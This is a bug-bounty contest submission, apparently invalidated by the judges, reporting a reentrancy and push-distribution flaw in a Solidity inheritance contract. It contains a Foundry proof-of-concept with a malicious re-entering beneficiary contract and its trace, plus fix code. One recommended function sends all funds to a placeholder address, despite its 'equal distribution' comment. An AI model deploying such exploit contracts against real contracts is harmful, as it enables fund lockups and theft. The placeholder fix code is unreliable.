Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Critical Vulnerability: Fund Distribution Failure in InheritanceManager Contract

Description

The withdrawInheritedFunds() function in the InheritanceManager contract contains a critical vulnerability that makes it unusable, potentially locking funds in the contract permanently. The root causes are:

  1. Lack of Reentrancy Protection: Unlike other functions in the contract that use the nonReentrant modifier, this function lacks reentrancy protection.

  2. Single-Transaction Distribution Design: The function attempts to distribute funds to all beneficiaries in a single transaction, causing the entire transaction to revert if any transfer fails.

function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}

Impact Analysis

1. Permanent Fund Lockup

The most severe consequence is that funds could become permanently locked in the contract because:

  • If any beneficiary is a contract with a fallback function that reenters withdrawInheritedFunds(), the transaction will revert due to calculation inconsistencies.

  • Even if a nonReentrant modifier is added, the function would still revert if any transfer fails for any reason (insufficient gas, contract error, etc.).

  • The contract lacks alternative withdrawal mechanisms once inheritance is triggered.

  • Only the owner can remove problematic beneficiaries, but the owner is presumed unavailable (otherwise inheritance wouldn't be triggered).

2. Detailed Failure Scenario

When a malicious or complex (e.g., multisig) contract is among the beneficiaries:

  1. withdrawInheritedFunds() calculates amountPerBeneficiary based on total balance

  2. It attempts to send funds to the first beneficiary

  3. If this beneficiary is a contract with a fallback function that reenters withdrawInheritedFunds()

  4. In the reentrancy call, the same calculation is performed again without accounting for the previous transfer

  5. When attempting to complete the original transaction, there are insufficient funds

  6. The require(success, "something went wrong") check fails

  7. The entire transaction reverts, leaving all funds locked

3. Strategic Exploitation

A malicious beneficiary could deliberately exploit this vulnerability to:

  • Block other beneficiaries from receiving their inheritance

  • Force a negotiation outside the blockchain

  • Create a deadlock situation requiring legal intervention

Proof of Concept

{
function test_reentrancyVulnerability() public {
address user2 = makeAddr("user2");
// Setup
vm.warp(1);
vm.startPrank(owner);
// Fund the contract with more ETH to handle reentrancy
vm.deal(address(im), 30 ether); // Increased from 10 ETH to 30 ETH
// Deploy malicious beneficiary contract
MaliciousBeneficiary maliciousBeneficiary = new MaliciousBeneficiary(address(im));
// Add legitimate and malicious beneficiaries
im.addBeneficiery(address(maliciousBeneficiary));
im.addBeneficiery(user1);
im.addBeneficiery(user2);
vm.stopPrank();
// Initiate inheritance
vm.warp(1 + 90 days);
vm.prank(user1);
im.inherit();
// Initial balances
uint256 initialMaliciousBalance = address(maliciousBeneficiary).balance;
uint256 initialUser1Balance = user1.balance;
uint256 initialUser2Balance = user2.balance;
uint256 initialContractBalance = address(im).balance;
// Execute the withdrawal
vm.prank(address(maliciousBeneficiary));
im.withdrawInheritedFunds(address(0)); // will always revert
// Final balances
uint256 finalMaliciousBalance = address(maliciousBeneficiary).balance;
uint256 finalUser1Balance = user1.balance;
uint256 finalUser2Balance = user2.balance;
uint256 finalContractBalance = address(im).balance;
// Log balances
console.log("Malicious beneficiary balance:", finalMaliciousBalance);
console.log("User1 balance:", finalUser1Balance);
console.log("User2 balance:", finalUser2Balance);
console.log("Contract balance remaining:", finalContractBalance);
}
}
contract MaliciousBeneficiary {
InheritanceManager public im;
bool reentered;
constructor(address _im) {
im = InheritanceManager(_im);
}
// Fallback function to re-enter withdrawInheritedFunds
receive() external payable {
if (!reentered) {
reentered = true;
im.withdrawInheritedFunds(address(0)); // Re-enter the function
}
}
}

Output:

[356288] InheritanceManagerTest::test_reentrancyVulnerability()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::warp(1)
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 30000000000000000000 [3e19])
│ └─ ← [Return]
├─ [76050] → new MaliciousBeneficiary@0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
│ └─ ← [Return] 268 bytes of code
├─ [69020] InheritanceManager::addBeneficiery(MaliciousBeneficiary: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::prank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::prank(MaliciousBeneficiary: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ └─ ← [Return]
├─ [88788] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [73506] MaliciousBeneficiary::receive{value: 10000000000000000000}()
│ │ ├─ [72704] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ │ │ ├─ [194] MaliciousBeneficiary::receive{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user1::fallback{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user2::fallback{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [0] user1::fallback{value: 10000000000000000000}()
│ │ └─ ← [OutOfFunds] EvmError: OutOfFunds
│ └─ ← [Revert] revert: something went wrong
└─ ← [Revert] revert: something went wrong

Proof of Concept Test Analysis

The provided test demonstrates the vulnerability:

  1. The contract is funded with 30 ETH for 3 beneficiaries (10 ETH each)

  2. During distribution, the malicious contract receives 10 ETH and reenters

  3. In the reentrant call, each beneficiary again receives 6.66 ETH (20/3)

  4. When the original call continues to the second beneficiary, it attempts to send 10 ETH

  5. The contract now has insufficient funds, causing an OutOfFunds error

  6. The transaction reverts, restoring all state

  7. Each subsequent attempt will fail similarly

Key Observations

  1. Adding a nonReentrant Guard is Insufficient: While it would prevent the reentrancy attack, it wouldn't solve the fundamental issue of the function failing if any transfer fails.

  2. Contextual Severity Considerations:

    • In an inheritance contract, the owner's unavailability is assumed

    • No emergency functions exist to handle edge cases

    • Beneficiaries cannot remove malicious beneficiaries

    • The combination makes this vulnerability exceptionally severe in this context

  3. Design Flaw: The push-based distribution pattern (sending to all beneficiaries in one transaction) is inherently risky for this use case.

Recommendations

1. Implement a Pull-Based Withdrawal Pattern

Replace the current push-based distribution with a two-step pull-based approach:

// Track if assets have been prepared for distribution
mapping(address => bool) public assetPreparedForDistribution;
// Track each beneficiary's claimable amount
mapping(address => mapping(address => uint256)) public claimableAmount;
// Step 1: Prepare funds for distribution (can be called by any beneficiary)
function prepareInheritedFunds(address _asset) external nonReentrant {
if (!isInherited) {
revert NotYetInherited();
}
if (assetPreparedForDistribution[_asset]) {
revert AlreadyPrepared();
}
uint256 divisor = beneficiaries.length;
uint256 amountPerBeneficiary;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
amountPerBeneficiary = ethAmountAvailable / divisor;
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
amountPerBeneficiary = assetAmountAvailable / divisor;
}
// Record claimable amounts
for (uint256 i = 0; i < divisor; i++) {
claimableAmount[_asset][beneficiaries[i]] = amountPerBeneficiary;
}
assetPreparedForDistribution[_asset] = true;
}
// Step 2: Beneficiaries individually claim their share
function claimInheritedFunds(address _asset) external nonReentrant {
uint256 amount = claimableAmount[_asset][msg.sender];
require(amount > 0, "Nothing to claim");
// Clear the claim before transfer to prevent reentrancy
claimableAmount[_asset][msg.sender] = 0;
if (_asset == address(0)) {
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "ETH transfer failed");
} else {
IERC20(_asset).safeTransfer(msg.sender, amount);
}
}

2. Add Beneficiary Governance

Implement a mechanism for beneficiaries to collectively govern the contract after inheritance is triggered:

// Track votes to remove a beneficiary
mapping(address => mapping(address => bool)) public removalVotes;
mapping(address => uint256) public removalVoteCount;
function voteToRemoveBeneficiary(address _beneficiary) external {
require(isInherited, "Not inherited yet");
// Verify caller is a beneficiary
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
// Prevent double voting
require(!removalVotes[_beneficiary][msg.sender], "Already voted");
removalVotes[_beneficiary][msg.sender] = true;
removalVoteCount[_beneficiary]++;
// If majority votes, remove the beneficiary
if (removalVoteCount[_beneficiary] > beneficiaries.length / 2) {
uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
// Swap with the last element and pop
uint256 lastIndex = beneficiaries.length - 1;
if (indexToRemove != lastIndex) {
beneficiaries[indexToRemove] = beneficiaries[lastIndex];
}
beneficiaries.pop();
}
}

3. Add an Emergency Resolution Mechanism

Implement a timelock-based emergency withdrawal if the standard distribution fails:

uint256 public constant EMERGENCY_TIMELOCK = 30 days;
uint256 public emergencyWithdrawalDeadline;
mapping(address => bool) public emergencyWithdrawalVotes;
uint256 public emergencyWithdrawalVoteCount;
function voteForEmergencyWithdrawal() external {
require(isInherited, "Not inherited yet");
// Verify caller is a beneficiary
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
// Prevent double voting
require(!emergencyWithdrawalVotes[msg.sender], "Already voted");
emergencyWithdrawalVotes[msg.sender] = true;
emergencyWithdrawalVoteCount++;
// If majority votes, start emergency timelock
if (emergencyWithdrawalVoteCount > beneficiaries.length / 2 && emergencyWithdrawalDeadline == 0) {
emergencyWithdrawalDeadline = block.timestamp + EMERGENCY_TIMELOCK;
}
}
function executeEmergencyWithdrawal(address _asset) external nonReentrant {
require(emergencyWithdrawalDeadline > 0, "Emergency not initiated");
require(block.timestamp >= emergencyWithdrawalDeadline, "Timelock not expired");
// Verify caller is a beneficiary
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
// Equal distribution to all beneficiaries (identical funds to an account they control)
address payable safeWithdrawalAddress = payable(0x123...); // Trusted multisig or escrow
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
(bool success,) = safeWithdrawalAddress.call{value: ethAmountAvailable}("");
require(success, "ETH transfer failed");
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
IERC20(_asset).safeTransfer(safeWithdrawalAddress, assetAmountAvailable);
}
}

Tools Used

  • Foundry Testing Framework

  • Transaction Trace Analysis

  • Manual Code Review

Conclusion

This vulnerability represents a critical failure in the core functionality of the inheritance contract. While it might appear to be a simple reentrancy issue at first glance, the actual impact is much more severe—a complete and permanent inability to distribute inheritance funds. This effectively nullifies the purpose of the contract in scenarios where it is most needed.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

0xblackadam Submitter
6 months ago
0xtimefliez Lead Judge
6 months ago
0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.